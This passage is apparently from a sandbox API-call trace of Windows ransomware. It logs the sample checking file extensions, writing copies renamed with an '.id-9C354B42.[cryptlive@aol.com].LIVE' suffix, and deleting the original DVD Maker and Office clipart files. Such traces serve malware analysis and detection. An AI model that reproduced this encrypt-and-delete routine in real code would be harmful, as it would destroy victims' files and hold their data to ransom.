Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.723] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.723] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0053.723] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0053.723] lstrlenW (lpString=".doc") returned 4 [0053.723] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.723] lstrlenW (lpString=".docx") returned 5 [0053.724] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0053.724] lstrlenW (lpString=".pdf") returned 4 [0053.724] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.724] lstrlenW (lpString=".xls") returned 4 [0053.724] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.724] lstrlenW (lpString=".xlsx") returned 5 [0053.724] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0053.724] lstrlenW (lpString=".ppt") returned 4 [0053.724] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.724] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0053.724] lstrlenW (lpString=".zip") returned 4 [0053.724] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.724] lstrlenW (lpString=".rar") returned 4 [0053.724] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.724] lstrlenW (lpString=".bz2") returned 4 [0053.724] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.724] lstrlenW (lpString=".7z") returned 3 [0053.724] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.724] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0053.724] lstrlenW (lpString=".dbf") returned 4 [0053.724] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.724] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0053.724] lstrlenW (lpString=".1cd") returned 4 [0053.724] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.724] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0053.724] lstrlenW (lpString=".jpg") returned 4 [0053.724] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.724] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0053.724] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0053.724] lstrlenW (lpString=".doc") returned 4 [0053.724] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.724] lstrlenW (lpString=".docx") returned 5 [0053.724] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0053.724] lstrlenW (lpString=".pdf") returned 4 [0053.724] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.724] lstrlenW (lpString=".xls") returned 4 [0053.725] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.725] lstrlenW (lpString=".xlsx") returned 5 [0053.725] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0053.725] lstrlenW (lpString=".ppt") returned 4 [0053.725] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.725] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0053.725] lstrlenW (lpString=".zip") returned 4 [0053.725] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.725] lstrlenW (lpString=".rar") returned 4 [0053.725] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.725] lstrlenW (lpString=".bz2") returned 4 [0053.725] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.725] lstrlenW (lpString=".7z") returned 3 [0053.725] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.725] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0053.725] lstrlenW (lpString=".dbf") returned 4 [0053.725] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.725] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0053.725] lstrlenW (lpString=".1cd") returned 4 [0053.725] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.725] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0053.725] lstrlenW (lpString=".jpg") returned 4 [0053.725] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.725] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0053.725] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31 [0053.725] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0053.729] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3316) returned 1 [0053.729] CloseHandle (hObject=0x200) returned 1 [0053.729] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0053.729] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.729] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.730] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0053.730] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0053.730] lstrlenW (lpString=".doc") returned 4 [0053.730] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.730] lstrlenW (lpString=".docx") returned 5 [0053.730] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0053.730] lstrlenW (lpString=".pdf") returned 4 [0053.730] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.730] lstrlenW (lpString=".xls") returned 4 [0053.730] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.730] lstrlenW (lpString=".xlsx") returned 5 [0053.730] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0053.730] lstrlenW (lpString=".ppt") returned 4 [0053.730] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.730] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0053.730] lstrlenW (lpString=".zip") returned 4 [0053.730] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.730] lstrlenW (lpString=".rar") returned 4 [0053.730] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.730] lstrlenW (lpString=".bz2") returned 4 [0053.730] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.730] lstrlenW (lpString=".7z") returned 3 [0053.730] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.730] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0053.730] lstrlenW (lpString=".dbf") returned 4 [0053.730] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.730] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0053.730] lstrlenW (lpString=".1cd") returned 4 [0053.730] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.730] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0053.730] lstrlenW (lpString=".jpg") returned 4 [0053.730] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.730] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0053.731] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0053.731] lstrlenW (lpString=".doc") returned 4 [0053.731] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.731] lstrlenW (lpString=".docx") returned 5 [0053.731] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0053.731] lstrlenW (lpString=".pdf") returned 4 [0053.731] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.731] lstrlenW (lpString=".xls") returned 4 [0053.731] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.731] lstrlenW (lpString=".xlsx") returned 5 [0053.731] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0053.731] lstrlenW (lpString=".ppt") returned 4 [0053.731] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.731] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0053.731] lstrlenW (lpString=".zip") returned 4 [0053.731] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.731] lstrlenW (lpString=".rar") returned 4 [0053.731] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.731] lstrlenW (lpString=".bz2") returned 4 [0053.731] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.731] lstrlenW (lpString=".7z") returned 3 [0053.731] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.731] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0053.731] lstrlenW (lpString=".dbf") returned 4 [0053.731] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.731] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0053.731] lstrlenW (lpString=".1cd") returned 4 [0053.731] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.731] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0053.731] lstrlenW (lpString=".jpg") returned 4 [0053.731] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.732] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0053.732] lstrlenW (lpString="4to3Squareframe_Buttongraphic.png") returned 33 [0053.732] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0053.732] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11861) returned 1 [0053.732] CloseHandle (hObject=0x200) returned 1 [0053.732] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png")) returned 0x20 [0053.732] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.732] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.732] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0053.732] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0053.732] lstrlenW (lpString=".doc") returned 4 [0053.732] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.732] lstrlenW (lpString=".docx") returned 5 [0053.732] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0053.732] lstrlenW (lpString=".pdf") returned 4 [0053.732] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.732] lstrlenW (lpString=".xls") returned 4 [0053.732] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.732] lstrlenW (lpString=".xlsx") returned 5 [0053.732] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0053.733] lstrlenW (lpString=".ppt") returned 4 [0053.733] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.733] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0053.733] lstrlenW (lpString=".zip") returned 4 [0053.733] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.733] lstrlenW (lpString=".rar") returned 4 [0053.733] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.733] lstrlenW (lpString=".bz2") returned 4 [0053.733] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.733] lstrlenW (lpString=".7z") returned 3 [0053.733] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.733] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0053.733] lstrlenW (lpString=".dbf") returned 4 [0053.733] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.745] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=269322) returned 1 [0053.745] CloseHandle (hObject=0x200) returned 1 [0053.745] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv")) returned 0x20 [0053.745] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.745] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.308] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=12702) returned 1 [0059.435] CloseHandle (hObject=0x214) returned 1 [0059.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0059.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0059.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.436] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.436] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0059.436] GetLastError () returned 0x0 [0059.436] ReadFile (in: hFile=0x214, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x319e, lpOverlapped=0x0) returned 1 [0059.438] WriteFile (in: hFile=0x194, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0059.439] ReadFile (in: hFile=0x214, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.439] WriteFile (in: hFile=0x194, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.439] SetEndOfFile (hFile=0x194) returned 1 [0059.439] CloseHandle (hObject=0x194) returned 1 [0059.439] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.439] SetEndOfFile (hFile=0x214) returned 1 [0059.440] CloseHandle (hObject=0x214) returned 1 [0059.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0059.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0059.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0059.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0059.441] lstrlenW (lpString=".doc") returned 4 [0059.441] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.441] lstrlenW (lpString=".docx") returned 5 [0059.441] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0059.441] lstrlenW (lpString=".pdf") returned 4 [0059.441] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.441] lstrlenW (lpString=".xls") returned 4 [0059.441] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.441] lstrlenW (lpString=".xlsx") returned 5 [0059.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0059.441] lstrlenW (lpString=".ppt") returned 4 [0059.441] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0059.441] lstrlenW (lpString=".zip") returned 4 [0059.441] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.441] lstrlenW (lpString=".rar") returned 4 [0059.441] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.441] lstrlenW (lpString=".bz2") returned 4 [0059.441] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.442] lstrlenW (lpString=".7z") returned 3 [0059.442] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0059.442] lstrlenW (lpString=".dbf") returned 4 [0059.442] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0059.442] lstrlenW (lpString=".1cd") returned 4 [0059.442] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0059.442] lstrlenW (lpString=".jpg") returned 4 [0059.442] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0059.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0059.442] lstrlenW (lpString=".doc") returned 4 [0059.442] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.442] lstrlenW (lpString=".docx") returned 5 [0059.442] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0059.442] lstrlenW (lpString=".pdf") returned 4 [0059.442] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.442] lstrlenW (lpString=".xls") returned 4 [0059.442] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.442] lstrlenW (lpString=".xlsx") returned 5 [0059.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0059.442] lstrlenW (lpString=".ppt") returned 4 [0059.442] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0059.442] lstrlenW (lpString=".zip") returned 4 [0059.442] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.442] lstrlenW (lpString=".rar") returned 4 [0059.442] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.442] lstrlenW (lpString=".bz2") returned 4 [0059.442] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.442] lstrlenW (lpString=".7z") returned 3 [0059.442] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0059.442] lstrlenW (lpString=".dbf") returned 4 [0059.443] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0059.443] lstrlenW (lpString=".1cd") returned 4 [0059.443] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0059.443] lstrlenW (lpString=".jpg") returned 4 [0059.443] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.443] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0059.443] lstrlenW (lpString="AG00120_.GIF") returned 12 [0059.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.443] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3484) returned 1 [0059.443] CloseHandle (hObject=0x214) returned 1 [0059.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0059.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0059.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.444] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.444] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0059.444] GetLastError () returned 0x0 [0059.444] ReadFile (in: hFile=0x214, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0xd9c, lpOverlapped=0x0) returned 1 [0059.445] WriteFile (in: hFile=0x194, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: 